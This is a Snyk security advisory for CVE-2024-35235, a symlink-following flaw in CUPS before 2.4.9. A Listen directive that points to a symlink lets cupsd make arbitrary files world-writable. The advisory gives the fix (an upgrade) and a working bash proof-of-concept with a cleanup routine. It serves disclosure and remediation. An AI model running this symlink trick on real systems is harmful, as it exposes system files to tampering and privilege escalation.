Improper Link Resolution Before File Access ('Link Following') Affecting OpenPrinting/cups package, versions [,2.4.9)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-OPENPRINTINGCUPS-7254925
- published14 Jun 2024
- disclosed11 Jun 2024
- creditRory McNamara
Introduced: 11 Jun 2024
CVE-2024-35235 (opens in a new tab)How to fix?
Upgrade OpenPrinting/cups to version 2.4.9 or higher.
Overview
Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') when starting the cupsd server with a Listen configuration item pointing to a symbolic link. An attacker could change the permission of any user or system files to be world writable by having the cupsd process to perform an arbitrary chmod of the provided argument, providing world-writable access to the target.
PoC
set -e
exploit() {
echo "Staging..."
mkdir -m 777 /tmp/stage
ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf
# emulate configuration access to cupsd.conf
echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf
echo
echo "Current permissions of cupsd.conf"
ls -l /etc/cups/cupsd.conf
tail -n1 /etc/cups/cupsd.conf || true
echo
echo "Restarting cupsd"
sudo systemctl restart cups
echo
echo "New permissions of cupsd.conf"
ls -l /etc/cups/cupsd.conf
tail -n1 /etc/cups/cupsd.conf || true
}
cleanup() {
sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf
sudo chmod 640 /etc/cups/cupsd.conf
rm -rf /tmp/stage
}
$@